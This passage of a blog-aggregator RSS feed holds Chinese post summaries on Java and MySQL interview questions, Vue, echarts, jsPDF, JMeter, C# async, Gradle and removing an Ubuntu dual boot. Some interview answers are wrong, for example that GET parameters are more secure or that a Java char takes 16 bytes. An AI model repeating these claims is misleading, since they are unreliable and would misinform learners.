日志表,表级别锁&#xA;2.InnoDB(MySQL5.5以后默认使用):支持事务,支持外键关联,应用于执行大量的insert和update操作的行级别锁&#xA;Mysql关联查询有哪些？&#xA;交叉连接、内连接、外连接、联合查询、全连接&#xA;什么是子查询？&#xA;条件查询：一条sql语句的查询结果作为另一条查询语句的条件或查询结果。&#xA;嵌套查询：多条sql语句嵌套使用，内部的sql查询语句称为子查询。&#xA;Select*和select全部字段的两种写法有什么优缺点？&#xA;1.Slelect要解析数据字典，select全部字段不用&#xA;2.select输出顺序和建表列顺序相同，select全部字段按指定字段顺序；&#xA;3.Select不需要修改表字段名，后者需要改。&#xA;4.Select全部字段可以建立索引进行优化，select无法优化。&#xA;5.select全部字段可读性比select*高。&#xA;说一下乐观锁和悲观锁？&#xA;乐观锁： 每次去拿数据的时候都认为别人不会修改，所以不会上锁，但是在提交更新的时候会判断一下再此期间别人有没有去更新这个数据。&#xA;悲观锁：每次拿数据的时候都认为别人会修改，所以每次在拿数据的时候都会上锁，这样别人想拿这个数据就会阻止，直到 锁被释放。&#xA;数据库的乐观锁需要自己实现，在表里面添加一个version字段，每次修改成功值加1，这样每次修改的时候先对比一下，version是否一致，如果不一致就不修改，这样就实现了乐观锁。&#xA;如何解决bean中属性名和数据库字段名不一致？&#xA;在sql语句中使用别名，或者使用ResultMap结果集接受数据。&#xA;mybatis如何进行分页的？&#xA;使用rowbounds 插件进行分页。或者使用物理分页，直接在sql语句中，使用limit&#xA;进行分页查询。&#xA;Mybatis的Xml映射文件中，不同的Xml映射文件，id是否可以重复？</description>
    </item>
    <item>
      <title>PostwomanApi接口测试工具</title>
      <link>https://bchobby.github.io/posts/631c3160580e49852ca7e58b3088db99/</link>
      <pubDate>Thu, 01 Sep 2022 16:46:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/631c3160580e49852ca7e58b3088db99/</guid>
      <description>Hoppscotch是轻量级、基于 Web 的 API 开发套件。它是从头开始构建的，考虑到易用性和可访问性，为 API 开发人员提供了简约、不显眼的 UI 所需的所有功能。它是免费使用的，并且作为完全开源的额外福利！&#xA;Github官网&#xA;postwoman 和 postman 简单对比&#xA;从名字上看，两个名字非常相近，至于为什么叫 postwoman 这个名字，&#xA;从功能上看，两个软件的使用方法和功能也非常相近，从界面即可一目了然。&#xA;它们也有一些区别：&#xA;1. postman 有些功能是收费的，当然，免费的功能已经足够平时的使用了。postwoman 是开源免费的，所有功能都可以免费使用。&#xA;2. postman 已经很成熟了，经过了很多开发者的检验。postwoman 还不成熟，肯定还有一些功能不完善，还有待检验。比如说 postwoman 网页主界面上的有些按钮，现在还仅仅是一个前端按钮，点击没有任何反应，后端还没有实现。&#xA;虽然 postwoman 还不够成熟，功能也只是替代 postman ，但是，新软件还是应该支持的，以便自己以后可以有更多的选择。&#xA;特征&#xA;❤️ 轻量级：采用简约的 UI 设计精制而成。&#xA;⚡️ 快速：实时发送请求和获取/复制响应。&#xA;HTTP 方法&#xA;GET 请求检索资源信息 POST 服务器在数据库中创建一个新条目 PUT 更新现有资源 PATCH 非常类似于PUT但对资源进行部分更新 DELETE 删除资源或相关组件 HEAD 检索与 GET 请求相同的响应标头，但没有响应正文。 CONNECT 建立到目标资源标识的服务器的隧道 OPTIONS 描述目标资源的通信选项 TRACE 沿着到目标资源的路径执行消息环回测试 &amp;lt;custom&amp;gt;- 一些 API 使用自定义请求方法，例如LIST输入您的自定义方法 部署&#xA;Postman使用手册</description>
    </item>
    <item>
      <title>java面试题——web</title>
      <link>https://bchobby.github.io/posts/db52405b781c4cae980b8e935bb4a493/</link>
      <pubDate>Thu, 01 Sep 2022 16:45:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db52405b781c4cae980b8e935bb4a493/</guid>
      <description>什么是反射？&#xA;反射是在运行状态中，对于任何一个类，都知道它的所有属性和方法。对于任意一个对象，都能调用它的任意一个属性和方法，这种动态获取的信息就是java的反射机制。&#xA;什么是Java序列化？什么情况下需要序列化？&#xA;Java序列化是为了保存各种对象在内存中的状态。并且可以把保存的对象状态在读出来。&#xA;以下情况需要使用java序列化：&#xA;想把的内存中的对象状态保存到一个文件中或者数据库中时候；&#xA;想用套接字在网络上传送对象的时候；&#xA;想通过RMI（远程方法调用）传输对象的时候。&#xA;动态代理是什么？有哪些应用？&#xA;动态代理是运行时动态生成代理类。&#xA;动态代理的应用有Spring aop，hibernate数据查询，Java注解对象获取等。&#xA;怎么实现动态代理？&#xA;JDK 原生动态代理和 cglib 动态代理。JDK 原生动态代理是基于接口实现的，而 cglib 是基于继承当前类的子类实现的。&#xA;说说你对session的理解？&#xA;session用来跟踪客户的状态。session指的是在一段时间内，客户和Web服务器一连串相关的交互过程。在一个session中，客户可能会多次请求同一个网页，或者访问不同的资源。就比如在电子邮件系统中，从一个客户登录到系统开始，收信，写信，发信等，到退出邮件系统，整个过程为一个session。&#xA;Session和cookie的区别？&#xA;存储位置不同：session存储在服务器端，cookie存储在浏览器端&#xA;安全性不同: cookie安全性一般，可以被伪造和修改。&#xA;存储的多样性:session可以存储在redis中，数据库中，应用程序中，而cookie只能存储在浏览器中。&#xA;说一下session的生命周期？&#xA;当客户端登录完成之后，服务器会创建session把session的id发送到客户端，客户端再存储在浏览器中。这样每次访问都会带着sessionid，服务器拿到id之后，在内存找到与之对应的session这样就可以正常工作了。&#xA;你常用的设计模式有哪些?都有什么作用？&#xA;单利模式：保证对象被创建一次，节省系统开销。&#xA;工厂模式：解耦代码&#xA;观察者模式：定义了对象之间的一对多的依赖，这样的话，当一个对象改变时，他的所有依赖者都会收到通知并自动更新。&#xA;什么是单例设计模式，及其应用方式？&#xA;单利模式是一种常用的设计模式，定义是单例对象的类只能允许一个实例存在。许多时候整个系统只需要一个全局对象，有利于协调系统整体的行为。&#xA;比如：在某个程序中，该服务器的配置信息存在一个文件中，这些配置数据由一个单例对象统一读取。然后其他对象再通过这个单例对象获取配置信息。这种方式简化了在复杂环境下的配置管理。&#xA;http响应码301和302有什么区别？&#xA;301：永久重定向&#xA;302：暂时重定向&#xA;区别是301对搜索引擎优化更加有利，302有被提示为网络拦截的风险。&#xA;简述tcp与udp的区别？&#xA;Tcp和upd是OSI模型中的运输层中的协议，tcp提供可靠的通讯传输。而udp则被用于让广播和细节控制交给应用的通讯传输。&#xA;两者的区别如下：&#xA;Tcp面向连接，udp面向非连接既发送数据前不需要建立连接。&#xA;Tcp提供可靠的服务，udp无法保证。&#xA;Tcp面向字节流，udp面向报文。&#xA;Tcp数据传输慢，udp数据传输快。&#xA;Tcp为什么要三次握手？两次不行吗？为什么？&#xA;如果采用两次握手，只要服务器发出确认数据包就会建立连接，客户端此时并未响应，这样的话，服务器端就会一直在等待客户端，就会造成资源浪费，若采用三次握手。服务器端没有收到来自客户端的再次确认，则就会知道客户端并没有要求建立请求，就不会浪费服务器资源。&#xA;OSI的七层模型都有那些？&#xA;物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。&#xA;Post和get请求有哪些区别？&#xA;Get请求会被浏览器主动缓存。Post不会。&#xA;Get有参数限制。而post没有。&#xA;Get参数传输更安全，会明文限制在url上。Post不会。&#xA;如何实现跨域？&#xA;在单个接口使用注解@CorssOrigin运行跨域。&#xA;使用jsonp跨域。&#xA;Jsonp的实现原理？&#xA;Json withPadding 是利用script标签的src连接可以访问不同源的特性，加载远程返回的js函数来执行的。</description>
    </item>
    <item>
      <title>java面试题——基础知识</title>
      <link>https://bchobby.github.io/posts/92a32a2875b3062014fd03e23f837704/</link>
      <pubDate>Thu, 01 Sep 2022 16:40:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92a32a2875b3062014fd03e23f837704/</guid>
      <description>JSP的九大内置对象？&#xA;Request 代表了个客户端的请求信息&#xA;Response 代表的是对客户端的响应&#xA;Session 是由服务器自动创建的与用户请求相关的对象&#xA;Application 对象可将信息保存在服务器中&#xA;Exception 作用时显示异常信息&#xA;Page 对象代表JSP本身，只有在JSP页面内才是合法的。&#xA;PageContext 作用时取得任何范围的参数&#xA;Out 用于在Web浏览器内输出信息&#xA;Config 主要作用时取得服务器的配置信息&#xA;JDK1.8的新特性？&#xA;Lambda表达式，函数式接口，方法引用和构造器调用，StreamAPI，接口中的默认方法和静态方法。新时间日期API。&#xA;一个&#34;.java&#34;源文件中是否可以包括多个类（不是内部类）？有什么限制？&#xA;可以有多个类，但只能有一个public的类，并且类名必须与文件名相同。&#xA;Java中实现多态的机制是什么？&#xA;方法的重写（Overriding）和重载（Overloading）,重写是父类和子类之中多态性的一种表现，重载是一个类中多态性的一种表现。&#xA;八种基本数据类型，以及他们的封装类：&#xA;八种基本数据类型：byte（1）、short（2）、int（4）、long（8）、float（4）、double（8）、boolean（1）、char（2）。&#xA;封装类分别是：Byte、Short、Integer、Long、Float、Double、Boolean、Character。&#xA;switch语句能否作用在byte上，能否作用在long上，能否作用在String上?&#xA;由于，byte,short,char都可以隐式转换为int，所以，它们和它们的封装类型都是可以的。long和String类型都不符合switch的语法规定，所以，它们不可以。但是在jdk1.7之后，引入了java的新特性，String可以作用在swtich语句中。&#xA;final在java中的作用？&#xA;Final修饰的类叫最终类，这个类不能被继承。&#xA;Final修饰的方法不能被重写。&#xA;Final修饰的变量叫常量。常量必须初始化，初始化后的值就不能修改。&#xA;使用final关键字修饰一个变量时，是引用不能变，还是引用的对象不能变？&#xA;使用final关键字修饰一个变量时，是指引用变量不能变，引用变量所指向的对象中的内容还是可以改变的。&#xA;静态变量和实例变量的区别？&#xA;静态变量前要加static关键字，而实例变量前不加。&#xA;实例变量属于某个对象的属性，必须创建了实例对象，才能使用。静态变量是属于类，所以只要程序加载了类的字节码，静态变量就可以被使用了。&#xA;是否可以从一个静态方法内部发出对非静态方法的调用？&#xA;不可以。因为非静态方法是要与对象关联在一起的，必须创建一个对象后，才可以在该对象上进行方法调用，而静态方法可以直接调用。&#xA;普通类和抽象类的区别？&#xA;普通类中不可以包含抽象方法，而抽象类中可以包含抽象方法。&#xA;抽象类不可以直接实例化，而普通类可以直接实例化。&#xA;抽象类和接口的区别？&#xA;抽象类中可以包含抽象方法，也可以不包含抽象方法，而接口中必须全部都是抽象方法。&#xA;抽象类只能继承一个，而接口可以实现很多个。&#xA;抽象类中的成员变量可以是任何类型的，而接口中的成员变量必须全部都是public static final 类型的。&#xA;Java中，是什么构造函数，什么是构造函数重载，什么是复制构造函数？&#xA;当一个新的对象被创建之后。构造器会被调用，每一个类都有构造函数。在没有给类提供构造函数的情况下，java编译器会给这个类提供一个默认的构造函数。&#xA;构造函数重载类似于方法的重载，可以给一个类提供多个构造函数，每一个构造函数都有自己唯一的参数列表。&#xA;Java不支持像C++那样复制构造函数。这个不同点是因为如果不自己写构造函数的情况下，java不会创建默认的复制构造函数&#xA;什么是值传递？什么是引用传递？&#xA;对象被值传递，意味着传递了对象的一个副本。因此，就算改变了对象的副本，也不会影响源对象的值。&#xA;对象被引用传递，意味着传递的并不是实际的对象，而是对象的引用。因此，外部对引用对象所做的操作都会反映到所有对象上。&#xA;Char型变量中能否存储一个中文汉字，为什么？&#xA;因为java是以Unicode编码的，一个char占16个字节，所以放一个中文是没问题的。&#xA;重载Overload和重写Override的区别？&#xA;重载：发生在同一个类中，方法名必须相同，参数列表和返回值类型可以不同，发生在编译时期。&#xA;重写：发生在父子类中，方法名和参数列表必须相同，返回值类型必须小于等于父类。抛出的异常也要小于等于父类。&#xA;面向过程和面向对象的区别？&#xA;面向过程：面向过程性能比面向对象高，因为类调用时需要实例化开销比较大。所以当性能是唯一的考量因素时，推荐使用面向过程开发。&#xA;面向对象：因为面向对象有封装，继承，多态性的特性，更加易维护，易复用，易拓展。&#xA;jvm、jdk、jre的区别？&#xA;jvm: 是运行java字节码的虚拟机。jvm有针对不同系统的特定实现，目前使用的相同的字节码，都会得出相同的结果。</description>
    </item>
    <item>
      <title>$nextTick的使用</title>
      <link>https://bchobby.github.io/posts/1bf70da6b816834249352fdf1bdeee60/</link>
      <pubDate>Thu, 01 Sep 2022 15:29:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bf70da6b816834249352fdf1bdeee60/</guid>
      <description>官网说法&#xA;nextTick() 可以在状态改变后立即使用，以等待 DOM 更新完成。你可以传递一个回调函数作为参数，或者 await 返回的 Promise。&#xA;$nextTick() 和全局版本的 nextTick() 的唯一区别就是组件传递给 this.$nextTick() 的回调函数会带上 this 上下文，其绑定了当前组件实例。&#xA;其实简单的理解就是，当你修改了data的值然后马上获取这个dom元素的值，是不能获取到更新后的值， 你需要使用$nextTick这个回调，让修改后的data值渲染更新到dom元素之后在获取，才能成功。举个栗子&#xA;openSubmenu() { this.show = true let w = this.$refs.submenu.offsetWidth; console.log(w) //获取不到宽度 this.$nextTick(() =&amp;gt; //这里才可以 let w = this.$refs.submenu.offsetWidth; console.log(w) }) // setTimeout(function(){ // var aa =vm.$refs.mydiv.offsetWidth; // console.log(aa) // },0) } 你修改了show的值，让submenu显示出来，但是你不能马上获取改dom元素的offsetWidth值，这是为什么呢？&#xA;1、 dom更新：在vue中，你修改了data的某一个值，并不会立即反应到该ele中。vue将你对data的更&#xA;改放到watcher的一个对列中（异步），只有在当前任务空闲时才会去执行watcher队列任务。这就有一个延迟时间了。&#xA;2、当执行到$nextTick的时候，这是一个异步事件，他也会把这个事件放到一个队列当中，异步事件是&#xA;不会立即执行的代码，会被js处理器放到一个队列里，按照队列的顺序优先级等一个个按次序执行，&#xA;新添加的事件都会放在队列末尾。所以，当第一个也就是data的修改执行渲染在页面之后，这个时候执行$nextTick，就肯定能获取dom的东西la。&#xA;3、同理也是，创建一个setTimeout，他也会放到队列中，当上一个事件执行完之后，才会这个他这个事件，才会执行他里面的回调，也就能成功获取啦。</description>
    </item>
    <item>
      <title>echarts 柱状图，分别给每个柱子设置不同的颜色</title>
      <link>https://bchobby.github.io/posts/43634d833166281dab1368dae40549e9/</link>
      <pubDate>Thu, 01 Sep 2022 14:46:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43634d833166281dab1368dae40549e9/</guid>
      <description>效果如图：&#xA;中见竖直的点划线为，markLine ,当markLike超出设定的数值时，颜色变成红色&#xA;代码如下：(复制代码，即可查看效果)&#xA;数据格式： var hl_YData =[6,9,5,8,10,1,4,2,1,2,2,2] var hl_XData = [&#34;50-100&#34;,&#34;100-150&#34;,&#34;150-200&#34;,&#34;200-250&#34;,&#34;250-300&#34;,&#34;300-350&#34;,&#34;350-400&#34;,&#34;400-450&#34;,&#34;1450-1500&#34;,&#34;3750-3800&#34;,&#34;3800-3850&#34;,&#34;3850-3900&#34;] var option = { tooltip: { trigger: &#39;item&#39;, }, label:{ // 标题的位置 position:&#39;top&#39;, show:false }, xAxis: { type: &#39;category&#39;, data: hl_XData, name:&#39;mΩ&#39;, nameTextStyle:{ // name的样式 color:&#34;#fff&#34; }, axisLabel:{ interval:0, rotate:60, textStyle: { color: &#34;#fff&#34;, fontSize:&#39;10px&#39;, }, }, axisTick: { show: false }, axisLine: {//x轴线的颜色以及宽度 show: true, lineStyle: { color: &#34;#fff&#34;, type: &#34;solid&#34;, width: 1 } }, }, yAxis: { type: &#34;</description>
    </item>
    <item>
      <title>Vue3中Element-Plus的el-upload清空上传文件（最简单明了）</title>
      <link>https://bchobby.github.io/posts/806ae7c50684bbc0dae5963c6d548ac7/</link>
      <pubDate>Thu, 01 Sep 2022 14:23:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/806ae7c50684bbc0dae5963c6d548ac7/</guid>
      <description>核心技术： //取消上传，清空上传文件 function doClear () { uploadrefss.value.clearFiles() } 汇总 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-button type=&#34;primary&#34; disabled @click=&#34;doClear&#34;&amp;gt;清空上传文件&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-upload class=&#34;upload-demo&#34; drag action=&#34;https://run.mocky.io/v3/9d059bf9-4660-45f2-925d-ce80ad6c4d15&#34; multiple ref=&#34;uploadrefss&#34; &amp;gt; &amp;lt;el-icon class=&#34;el-icon--upload&#34;&amp;gt;&amp;lt;upload-filled /&amp;gt;&amp;lt;/el-icon&amp;gt; &amp;lt;div class=&#34;el-upload__text&#34;&amp;gt; Drop file here or &amp;lt;em&amp;gt;click to upload&amp;lt;/em&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;template #tip&amp;gt; &amp;lt;div class=&#34;el-upload__tip&#34;&amp;gt; jpg/png files with a size less than 500kb &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { UploadFilled } from &#39;@element-plus/icons-vue&#39; //取消上传，清空上传文件 function doClear () { uploadrefss.value.clearFiles() } &amp;lt;/script&amp;gt; 获取文章流量推荐曝光度随便胡说八道两句 vue3.</description>
    </item>
    <item>
      <title>win10&#43;ubuntu16双系统卸载流程及问题总结</title>
      <link>https://bchobby.github.io/posts/bce3becfac334f926b286e6b0e9923e5/</link>
      <pubDate>Thu, 01 Sep 2022 11:22:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bce3becfac334f926b286e6b0e9923e5/</guid>
      <description>这篇主要是自己卸载ubuntu的一些流程与小问题总结，卸载的时候也参考了很多别人的案例，算是穿插着步骤来的，因为是小白上手，所以也不知道具体哪一步起了效用，但是最终结果就是成功卸载。&#xA;查看启动方式 启动方式主要有两种：legacy（传统）+UMBR和EFI+GBT，直接查看分区方式或者BIOS都可以。&#xA;查看分区方式流程：&#xA;电脑——属性——管理——磁盘管理——磁盘x——属性——卷——磁盘分区方式&#xA;查看BIOS：&#xA;windows+R，键入命令行：msinfo32，查看BIOS模式&#xA;删除ubuntu分区 找到Ubuntu对应的分区用以下删除方式进行删除，管理员模式下运行cmd，具体命令顺序含义如下：&#xA;diskpartlist diskselect disk（选择自己安装Ubuntu系统的磁盘，例如磁盘0，则命令行为：select disk 0)list partitionselect partition 0（数字0为选择的Ubuntu分区）delete partition override&#xA;重复选择Ubuntu的分区删除即可。 利用MbrFix修复 看其他成功案例有提到对于MBR分区，Ubuntu的启动方式被写入了MBR里面，所以不仅仅是简单的删除分区，还需要使用MbrFix程序进行修复，流程如下：&#xA;修复软件MbrFix，可以在网上下载，注意下载的时候需要根据电脑配置，有32位和64位的，按需下载。&#xA;将其保存在c盘系统的根目录下，如C:\Windows\System32以管理员身份运行cmd，键入命令行：MbrFix /drive 0 fixmbr 注意这一步首先MbrFix之后空格再键入/，其中的数字0是Ubuntu系统启动程序所在磁盘。&#xA;如果命令行没有空格会出现如下错误：&#xA;删除ubuntu的开机引导 使用EasyBCD软件，其中有编辑引导菜单，将双系统中的另一个Ubuntu系统的引导点击删除即可。&#xA;后续检查，确定系统已经删除完毕 电脑——属性——高级系统设置——高级——启动与故障恢复设置，默认系统只有一个即可。</description>
    </item>
    <item>
      <title>【python】turtle</title>
      <link>https://bchobby.github.io/posts/212b8468296c080515f339ff1606e6a6/</link>
      <pubDate>Thu, 01 Sep 2022 11:04:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/212b8468296c080515f339ff1606e6a6/</guid>
      <description>文章目录 1 基本功能2 小猪佩奇2.1 背景2.2 代码实现2.3 运行 3 画老虎4 if __name__ == &#39;__main__&#39; 1 基本功能 画布设置 setup(width, height, x, y): 设置窗口大小和窗口左上角在屏幕中的位置。title(): 设置窗口的标题。screensize(width, height, color): 设置画布大小，背景颜色。done(): 绘图结束后，不自动关闭窗口。 画笔设置 pencolor(color): 设置画笔颜色。&#xA;width(): 设置画笔宽度。&#xA;speed(int): 设置画笔的速度，传入1~10的数字，1最慢，10最快。传入其他值会更快，但是没有鼠标移动的动画效果。&#xA;penup(): 提起画笔，提起后移动画笔不会留下痕迹。&#xA;pendown(): 落下画笔，开始绘图前先将画笔落下。&#xA;setx(value): 设置画笔的x轴坐标。&#xA;sety(value): 设置画笔的y轴坐标。&#xA;towards(x, y): 设置画笔指向的点。&#xA;setheading(): 设置画笔的方向。与towards()配合可以设置画笔指向某个点，如- - - setheading(towards(0, 0))可以设置画笔指向原点。&#xA;pos(): 返回画笔当前的坐标。鼠标移动一段时间后可以print()打印此函数获取鼠标位置。&#xA;heading(): 返回画笔当前的方向。&#xA;画笔操作 circle(radius[, extent=arc]): 画一个圆，传入圆的半径，根据画笔的方向控制圆心的位置，圆心与画笔的方向垂直。传入弧度值可以画出指定弧度的圆弧。left(angle): 画笔左转，传入任意一个目标角度。right(angle): 画笔右转。forward(distance): 画笔前进一段距离。backward(distance): 画笔后退一段距离。goto(x, y): 移动画笔到指定坐标。 颜色填充 begin_fill(): 开始填充。fillcolor(color): 设置图形中填充的颜色。end_fill(): 结束填充。 2 小猪佩奇 用 python 的 turtle 库画一个佩奇，这种老套路也可以用来表白，画爱心什么的……贼老套！</description>
    </item>
    <item>
      <title>jspdf用法</title>
      <link>https://bchobby.github.io/posts/29fec9941451418a34b92a4c3415f268/</link>
      <pubDate>Thu, 01 Sep 2022 10:58:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29fec9941451418a34b92a4c3415f268/</guid>
      <description>介绍一下纯jspdf用法，将一个图片列表导出为pdf文件，根据图片宽高计算在pdf中的位置&#xA;jsPDF 是一个基于 HTML5 的客户端解决方案，用于生成各种用途的 PDF 文档。&#xA;官网地址：https://rawgit.com/MrRio/jsPDF/master/docs/&#xA;1、安装：npm install jspdf&#xA;2、引入：import jsPDF from &#34;jspdf&#34;&#xA;3、使用：&#xA;let pdf = new jsPDF(&#39;p&#39;, &#39;pt&#39;, [pdfX, pdfY]); 第一个参数： l：横向 p：纵向&#xA;第二个参数：测量单位（&#34;pt&#34;，&#34;mm&#34;, &#34;cm&#34;, &#34;m&#34;, &#34;in&#34; or &#34;px&#34;）&#xA;第三个参数：可以是下面格式，默认为“a4”&#xA;a0 - a10b0 - b10c0 - c10dllettergovernment-letterlegaljunior-legalledgertabloidcredit-card 默认为“a4”。如果您想使用自己的格式，只需将大小作为数字数组传递，例如[595.28, 841.89];&#xA;4、常用操作：&#xA;pdf.addPage() 在PDF文档中添加新页面，参数如下，也可以不设置，默认a4&#xA;pdf.addImage() 将图像添加到PDF,addImage参数设置如下：&#xA;删除某页pdf：&#xA;let targetPage = pdf.internal.getNumberOfPages(); //获取总页 pdf.deletePage(targetPage); // 删除目标页 保存pdf文档：&#xA;pdf.save(`测试.pdf`); Example：&#xA;1、导出一整页pdf文件，根据图片高度动态设置pdf的位置，根据自己的数据格式组装导出方法&#xA;/** * 导出PDF一页 PDF中的页面宽度或高度不能超过14400个userUnit。jsPDF将宽度/高度限制为14400 * @param pageList */ const exportPdf = (pageList: any) =&amp;gt; { let [imgX, imgY] = [595.</description>
    </item>
    <item>
      <title>Jmeter生成HTML报告解读</title>
      <link>https://bchobby.github.io/posts/b69b0f2e978eba5e4bcf59f49f31fe87/</link>
      <pubDate>Thu, 01 Sep 2022 10:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b69b0f2e978eba5e4bcf59f49f31fe87/</guid>
      <description>文章目录 1 使用命令生产HTML报告2 HTMl报告解读3 HTML压测报告 Chats报表讲解 1 使用命令生产HTML报告 注：在cmd中输入下面这条指令&#xA;jmeter -n -t 在Jmeter保存的.jmx文件路径 -l results.jtl【指定要生产的.jtl文件名】 -e -o E:\report【最后HTML报告要保存的路径】&#xA;解读脚本-n -o的含义&#xA;-h帮助&#xA;-n 非GUI模式&#xA;-t 指定要运行的 Jmeter 测试脚本文件&#xA;-l 记录结果的文件，每次运行之前，（要确保之前没有运行过，即xxx.jtl,不然报错）&#xA;-r Jmeter.properties文件中指定的所以远程服务器&#xA;-e 在脚本运行结束后生成HTML 报告&#xA;-o 用于存放HTML报告的目录，(目录要为空，不然也会报错)&#xA;最后找到HTML保存的路径找到index.html文件，打开它就是我们生成的HTML报告&#xA;2 HTMl报告解读 Test and Report informations 包含以下&#xA;source file:生成的jtl文件名Start Time:压测起始时间End Time:压测结束时间Filter for display:过滤器Lable:sampler采样器名称（http请求的名称） APDX(Application performance Index)&#xA;1.apdex：应用程序性能指标，范围在0~1之间，1表示到达所有用户均满意&#xA;T(Toleration threshold):可接受阀值&#xA;F(Frustration threshold):失败阀值&#xA;Requests Summary&#xA;FALL:失败率 红色&#xA;PASS：通过率，成功率 绿色&#xA;Statistics 统计数据&#xA;lable:sampler采样器名称（http请求的名称）&#xA;samples:并发数&#xA;FALL:失败次数</description>
    </item>
    <item>
      <title>异步编程（async 和 await）</title>
      <link>https://bchobby.github.io/posts/2701d8f3a75be6a1e8351ac7f9f9fd98/</link>
      <pubDate>Thu, 01 Sep 2022 09:49:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2701d8f3a75be6a1e8351ac7f9f9fd98/</guid>
      <description>1.概念 异步编程是一项关键技术，可以直接处理多个核心上的I/O阻塞和并发操作&#xA;2.使用场景 对于存在IO密集型(例如从网路请求数据、访问数据库和写入到文件系统)和CPU密集型(例如大量的计算)的任务可以选择异步编程&#xA;3.异步编程针对于IO密集型任务的优点 针对于服务器端和客户端分别描述&#xA;服务器端：&#xA;a:由于没有专门的用于阻止未完成任务的线程，因此服务器线程可以服务更多的Web请求。 b:现模拟假设一个场景，有两台服务器，都只有5个线程可用于服务请求，一台运行异步代码，一台不运行异步代码。&#xA;假设这两台服务器都接收6个并发请求，每个请求执行一个I/O操作，未运行异步代码的服务器必须对6个请求排队直到5个线程中的一个完成了I/O密集型工作并编写了响应。假如此时收到了20个请求，由于队列太长，服务器可能开始变慢。运行有异步代码的服务器也需要对6个请求排队，但由于使用了async 和 await，I/O密集型工作开始时，每个线程都会得到释放，无需等到工作结束，收到第20个请求时，传入请求队列将变得很小(如果其中还有请求的话)，且服务器不会变慢。 c:由于I/O操作在CPU上几乎没有耗时，所以将整个CPU线程专用于执行几乎没有任何作用的工作将是一种资源浪费。&#xA;客户端：&#xA;a:使用了async和await对于客户端应用带来的最大好处在于提高了响应能力。例如：手机游戏等应用，在涉及IO时尽可能少的影响UI线程，这点至关重要。&#xA;4.异步编程针对于CPU密集型任务的优点 服务器端：&#xA;使用异步编程可以开启另外一个线程来处理这一个CPU密集型的任务，另外一个线程就有可能是多核CPU情况下的另一个核，从而充分的利用了多核CPU的优势。&#xA;客户端：&#xA;此优点和上述针对IO密集型任务的一致&#xA;5.I/O密集型和CPU密集型任务的异步编程模型 大多数场景下：&#xA;对于I/O密集型，await 异步方法(aysnc修饰的返回Task或者Task&amp;lt;T&amp;gt;)&#xA;对于CPU密集型，await 异步方法(Task.Run()一个新的任务)&#xA;6.示例代码展示 I/O密集型：&#xA;private static readonly HttpClient s_client = new HttpClient(); static async Task Main(string[] args) { Console.WriteLine(&#34;ThreadId:&#34;+Thread.CurrentThread.ManagedThreadId); var result = await GetHtmlAsync(); Console.WriteLine(&#34;内容长度:&#34;+result.Length); Console.WriteLine(&#34;ThreadId:&#34; + Thread.CurrentThread.ManagedThreadId); } static Task&amp;lt;string&amp;gt; GetHtmlAsync() { Console.WriteLine(&#34;ThreadId:&#34; + Thread.CurrentThread.ManagedThreadId); var uri = new Uri(&#34;https://www.dotnetfoundation.org&#34;); return s_client.GetStringAsync(uri); } 输出的结果是：</description>
    </item>
    <item>
      <title>Android Studio编译动态替换清单文件AndroidManifest.xml内容（找不到AndroidManifest路径问题解决）</title>
      <link>https://bchobby.github.io/posts/3ea0d69b9714a436a8e7b95d2af3662f/</link>
      <pubDate>Thu, 01 Sep 2022 09:27:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ea0d69b9714a436a8e7b95d2af3662f/</guid>
      <description>4.+&#xA;applicationVariants.all { variant -&amp;gt; variant.outputs.all { output -&amp;gt; output.processManifest.doLast { def outputDir = multiApkManifestOutputDirectory.asFile.get() String manifestPath = &#34;$outputDir/AndroidManifest.xml&#34; def manifestContent = file(manifestPath).getText() manifestContent = manifestContent.replaceFirst(&#39;替换原文&#39;,&#39;替换内容&#39;) file(manifestPath).write(manifestContent) } } applicationVariants.all { variant -&amp;gt; //参数配置 variant.outputs[0].processManifest.doLast { def manifestFile = &#34;${manifestOutputDirectory}/AndroidManifest.xml&#34; def updatedContent = new File(manifestFile).getText(&#39;UTF-8&#39;) .replaceAll(&#34;UMENG_APPKEY_VALUE&#34;, &#34;-&#34;) //友盟appkey .replaceAll(&#34;QQ_APPID_VALUE&#34;, &#34;-&#34;) //QQappId .replaceAll(&#34;QQ_APPKEY_VALUE&#34;, &#34;-&#34;) //QQappkey .replaceAll(&#34;WX_APPID_VALUE&#34;, &#34;-&#34;) //微信appId .replaceAll(&#34;WX_APPKEY_VALUE&#34;, &#34;-&#34;) //微信appkey new File(manifestFile).write(updatedContent, &#39;UTF-8&#39;) } } 习惯性的模块里面的很多东西能在gradle配置的我都喜欢在gradle上面配置，今天做项目的时候获取清单文件找不到路径，尴尬，之后去看了一下编译目录，发现之前的目录都没有了，于是搜索了一番AndroidManifest.xml到底在哪里，我现在的环境是3.2的，找到在下图的位置&#xA;以前的：&#xA;直接写死测试了一下，替换AndroidManifest.xml的参数值，最后发现就是这个清单文件，不过直接写死感觉很不灵活，后来去谷歌了一番，在官方里面的已知问题里面找到了一个更简单的获取参数 ${manifestOutputDirectory}</description>
    </item>
    <item>
      <title>bat脚本常用指令</title>
      <link>https://bchobby.github.io/posts/e2748656800b3ede5469360a4e9b4684/</link>
      <pubDate>Thu, 01 Sep 2022 00:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2748656800b3ede5469360a4e9b4684/</guid>
